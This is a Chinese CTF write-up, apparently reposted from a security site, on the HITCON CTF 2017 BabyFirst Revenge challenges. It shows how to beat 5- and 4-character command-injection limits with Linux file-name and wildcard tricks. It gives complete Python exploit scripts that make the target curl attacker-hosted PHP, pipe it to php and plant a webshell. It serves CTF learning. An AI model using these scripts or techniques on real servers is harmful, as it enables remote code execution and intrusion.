【CTF 攻略】如何绕过四个字符限制getshell

【CTF 攻略】如何绕过四个字符限制getshell_第1张图片

作者:qqwe_01

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言


本文主要整理如何巧用Linux命令绕过命令注入点的字符数量限制,内容围绕HITCON CTF 2017 的两道题展开,先讲五个字符的限制,再讲四个字符的。在此感谢下主办方分享这么有趣的点子。


热身


问题的起源是 HITCON CTF 2017 的 BabyFirst Revenge 题,题目的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
BabyFirst Revenge
     $sandbox  '/www/sandbox/'  . md5( "orange"  $_SERVER [ 'REMOTE_ADDR' ]);
     @ mkdir ( $sandbox );
     @ chdir ( $sandbox );
     if  (isset( $_GET [ 'cmd' ]) &&  strlen ( $_GET [ 'cmd' ]) <= 5) {
         @ exec ( $_GET [ 'cmd' ]);
     else  if  (isset( $_GET [ 'reset' ])) {
         @ exec ( '/bin/rm -rf '  $sandbox );
     }
     highlight_file( __FILE__ );


冷静分析


目标环境根据每个访问者的IP为其在sandbox里新建一个文件夹并作为其工作目录,接受并执行访问者提交的命令。访问者可随时通过提交reset来重置环境。这是个有限制无回显的后门,命令长度要求小于等于5 ,我们会希望利用这一点撕开口子,往服务器上写一个自己的木马,从而扩大命令执行范围。

我们所面临的最主要问题是能够执行的命令长度太短,因此考虑把命令写进文件里再执行,命令的功能是下载我们指定的文件。

在此之前,先做些知识铺垫。

IP的等价表示法

IP地址本质上就是一个整数,只是通常用点分十进制表示,以至于我们反而不太熟悉它本来的样子。只要必要,我们可以用十六进制、长整数、八进制表示IP,大部分情况下效果是相同的。

【CTF 攻略】如何绕过四个字符限制getshell_第2张图片

它们之间的转换也很方便:

1
2
3
4
5
6
7
8
9
10
ip  =  '127.0.0.1'
# 十六进制
print  '0x'  +  ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
                    for  in  ip.split( '.' )])
# 长整数
print  int (''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
                    for  in  ip.split( '.' )]),  16 )
# 八进制
print  '0'  +  oct ( int (''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
                    for  in  ip.split( '.' )]),  16 ))

从网络下载文件

【CTF 攻略】如何绕过四个字符限制getshell_第3张图片

利用续行符拆分命令成多行

【CTF 攻略】如何绕过四个字符限制getshell_第4张图片

用两个字符在Linux下创建文件

http://p5.qhimg.com/t01485c8bfc8fbf987f.png

将命令执行结果重定向到文件

【CTF 攻略】如何绕过四个字符限制getshell_第5张图片

利用重定向向文件追加内容

【CTF 攻略】如何绕过四个字符限制getshell_第6张图片

删除文件

【CTF 攻略】如何绕过四个字符限制getshell_第7张图片

ls 的文件排列顺序

一句alphabetical耐人寻味,不过大致顺序就是如下图所示。

【CTF 攻略】如何绕过四个字符限制getshell_第8张图片


开始表演


假设我有一台目标服务器能够访问到的公网主机,为了方便我把该主机IP转换成长整数,然后利用以上的知识将 curl ip > A 用续行方式切割成多行写进文件 A ,然后执行 sh A 就可以下载到预先放在公网主机上的文件并且覆盖本地的文件A,而下载下来的文件内容是用来写PHP木马的PHP代码,我再执行 php A就可以写个自己的webshell进去啦。

【CTF 攻略】如何绕过四个字符限制getshell_第9张图片

这里比较取巧的是我的公网IP转成长整形恰好能分割成顺序的四段,如果构造不出来,可以试试十六进制,八进制,找台能用的主机等等:)或者继续往下看,还会有其他办法。

另外,其实GET也是能用的,只是目标主机里没有安装所以这题不能用。

接下来让我们完成最后30%的工作,写个exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding:utf8 -*-
import  requests as r
import  hashlib
url  =  'http://52.199.204.34/'
# 查询自己的IP
ip  =  r.get( 'http://ipv4.icanhazip.com/' ).text.strip()
sandbox  =  url  +  'sandbox/'  +  hashlib.md5( 'orange'  +  ip).hexdigest()  +  '/'
  
reset  =  url  +  '?reset'
cmd  =  url  +  '?cmd='
build  =  [ '>cur\\' ,
          '>l\ \\' ,
          'ls>A' ,
          'rm c*' ,
          'rm l*' ,
          '>105\\' ,
          '>304\\' ,
          '>301\\' ,
          '>9\>\\' ,
          'ls>>A' ,
          'sh A' ,
          'php A'
          ]
# 如果目标服务器有GET,这个也是可以打的
# build = ['>GE\\',
#          '>T\\ \\',
#          'ls>A',
#          'rm G*',
#          'rm T*',
#          '>105\\',
#          '>304\\',
#          '>301\\',
#          '>9\>\\',
#          'ls>>A']
r.get(reset)
for  in  build:
     =  r.get(cmd  +  i)
     print  '[%s]'  %  s.status_code, s.url
  
=  r.get(sandbox  +  'fun.php?cmd=uname -a' )
print  '\n'  +  '[%s]'  %  s.status_code, s.url
print  s.text

运行效果

【CTF 攻略】如何绕过四个字符限制getshell_第10张图片


挑战升级


这篇文章有趣的地方才刚刚开始。

代码只改了一个字符,但趣味已经不在一个量级。一脸懵逼的我看了大佬们的wp后兴奋不已。

BabyFirst Revenge v2:

1
2
3
4
5
6
7
8
9
10
11
     $sandbox  '/www/sandbox/'  . md5( "orange"  $_SERVER [ 'REMOTE_ADDR' ])
  
     @ mkdir ( $sandbox )
     @ chdir ( $sandbox )
     if  (isset( $_GET [ 'cmd' ]) & &  strlen ( $_GET [ 'cmd' ]) <= 4) {
         @ exec ( $_GET [ 'cmd' ])
     else  if  (isset( $_GET [ 'reset' ])) {
         @ exec ( '/bin/rm -rf '  $sandbox )
     }
     highlight_file( __FILE__ )


热烈分析


只有四个字符的施展空间意味着我们能做的事情少之又少,但Linux本身的简洁给了我们机会。

突破之旅从神奇的星号 * 开始。

【CTF 攻略】如何绕过四个字符限制getshell_第11张图片

经过简单测试我们猜测 * 的作用相当于 `ls` 。这其实相当厉害,我们本就基本上可以创建任意名字的短文件,现在又可以一个字符就把这些文件名连起来当作命令执行,这提供了很大的想象空间。

【CTF 攻略】如何绕过四个字符限制getshell_第12张图片

还有本质上一样但现象很有趣的,待会儿会用到:

【CTF 攻略】如何绕过四个字符限制getshell_第13张图片

虽然这些特技提供了一些可能性,但是 ls 列出的文件顺序问题仍然是个挑战,我们很难在 alphabetical 序的基础上构造出有用的命令。

写入时间是我们可以控制的,如果能执行 ls –t(将文件按时间排序输出),那么只要把想执行的命令分割成若干段然后逆序写入,就可以随心所欲地构造出任意命令。考虑到 ls -t 本身就已经有4个字符了,我们故技重施,先将 ls -t > f 写入文件 g 中,然后执行 sh g 即可将我们分段逆序写入的命令拼接起来。

在开始操作前,再介绍两个会用到的命令:dir 和 rev。


dir


在GNU文档中有下图这样的描述:

【CTF 攻略】如何绕过四个字符限制getshell_第14张图片

虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 alphabetical 序中靠前,二是按列输出,不换行。


rev


这个前面出场过,可以反转文件每一行的内容。

【CTF 攻略】如何绕过四个字符限制getshell_第15张图片

实验一下:

【CTF 攻略】如何绕过四个字符限制getshell_第16张图片


开始挑战


需要知道的命令和 tips 都已经介绍了,下面是代码和解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#-*-coding:utf8-*-
import  requests as r
from  time  import  sleep
import  random
import  hashlib
target  =  'http://52.197.41.31/'
  
# 存放待下载文件的公网主机的IP
shell_ip  =  'xx.xx.xx.xx'
  
# 本机IP
your_ip  =  r.get( 'http://ipv4.icanhazip.com/' ).text.strip()
  
# 将shell_IP转换成十六进制
ip  =  '0x'  +  ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
                      for  in  shell_ip.split( '.' )])
  
reset  =  target  +  '?reset'
cmd  =  target  +  '?cmd='
sandbox  =  target  +  'sandbox/'  +  \
     hashlib.md5( 'orange'  +  your_ip).hexdigest()  +  '/'
  
# payload某些位置的可选字符
pos0  =  random.choice( 'efgh' )
pos1  =  random.choice( 'hkpq' )
pos2  =  'g'   # 随意选择字符
  
payload  =  [
     '>dir' ,
     # 创建名为 dir 的文件
  
     '>%s\>'  %  pos0,
     # 假设pos0选择 f , 创建名为 f> 的文件
  
     '>%st-'  %  pos1,
     # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
     # 因为alphabetical序中t>s
  
     '>sl' ,
     # 创建名为 >sl 的文件;到此处有四个文件,
     # ls 的结果会是:dir f> kt- sl
  
     '*>v' ,
     # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
     #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
     # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
  
     '>rev' ,
     # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
  
     '*v>%s'  %  pos2,
     # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
     # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
  
     # 续行分割 curl 0x11223344|php 并逆序写入
     '>p' ,
     '>ph\\' ,
     '>\|\\' ,
     '>%s\\'  %  ip[ 8 : 10 ],
     '>%s\\'  %  ip[ 6 : 8 ],
     '>%s\\'  %  ip[ 4 : 6 ],
     '>%s\\'  %  ip[ 2 : 4 ],
     '>%s\\'  %  ip[ 0 : 2 ],
     '>\ \\' ,
     '>rl\\' ,
     '>cu\\' ,
  
     'sh '  +  pos2,
     # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
     # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
     'sh '  +  pos0,
     # sh f 执行curl命令,下载文件,写入木马。
]
  
=  r.get(reset)
for  in  payload:
     assert  len (i) < =  4
     =  r.get(cmd  +  i)
     print  '[%d]'  %  s.status_code, s.url
     sleep( 0.1 )
=  r.get(sandbox  +  'fun.php?cmd=uname -a' )
print  '[%d]'  %  s.status_code, s.url
print  s.text

运行效果:

【CTF 攻略】如何绕过四个字符限制getshell_第17张图片


后记


我相信除了文中给出的方法外一定还有一些奇招,大家可以多多探索,可以围观HITCON CTF 2107的官方解答区,还可以学习下Phithon师傅的《小密圈里的那些奇技淫巧》 中与本文主题相关的部分。

最后,如果关于文章内容有任何建议或疑惑,你可以在https://findneo.github.io/ 联系本文作者。感谢阅读\o/


本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/ctf/detail/214.html

你可能感兴趣的:(Linux渗透)